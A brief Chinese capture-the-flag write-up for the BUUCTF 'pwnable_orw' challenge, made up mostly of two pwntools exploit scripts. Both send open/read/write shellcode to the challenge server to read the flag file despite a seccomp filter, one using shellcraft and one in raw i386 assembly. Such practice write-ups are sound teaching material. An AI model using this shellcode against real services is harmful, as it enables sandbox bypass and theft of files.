BUUCTF pwnable_orw

这道题又是一道seccomp，，这个orw_seccomp函数里面说的傻我看不懂。。。
反正根据套路肯定还是不能用system，，还是通过 open,read,write,来泄露flag文件

写这种shellcode写的方法一个是直接汇编 或者 可以用pwntools里面带的shellcraft
pwntools官方文档
其他的没啥可说的，看一下代码

shellcraft:

#coding:utf-8
from pwn import *

context(os='linux',arch='i386',log_level='debug')

#sh = process('./orw')
sh = remote('node3.buuoj.cn','25658')

payload = shellcraft.i386.linux.open('flag',0)

payload += shellcraft.i386.linux.read(3,'esp',100)

payload += shellcraft.i386.linux.write(1, 'esp', 100)


sh.sendafter('Give my your shellcode:',asm(payload))

sh.interactive()

直接汇编：

#coding:utf-8
from pwn import *

context(os='linux',arch='i386',log_level='debug')

#sh = process('./orw')
sh = remote('node3.buuoj.cn','25658')

payload = '''
push 0x0
push 0x67616c66
mov ebx,esp
xor ecx,ecx
xor edx,edx
mov eax,0x5
int 0x80
nop
add esp,8
mov ebx,0x3
mov ecx,esp
mov edx,0x100
mov eax,0x3
int 0x80
nop
mov ebx,0x1
mov ecx,esp
mov edx,0x100
mov eax,0x4
int 0x80
'''


sh.sendafter('Give my your shellcode:',asm(payload))

sh.interactive()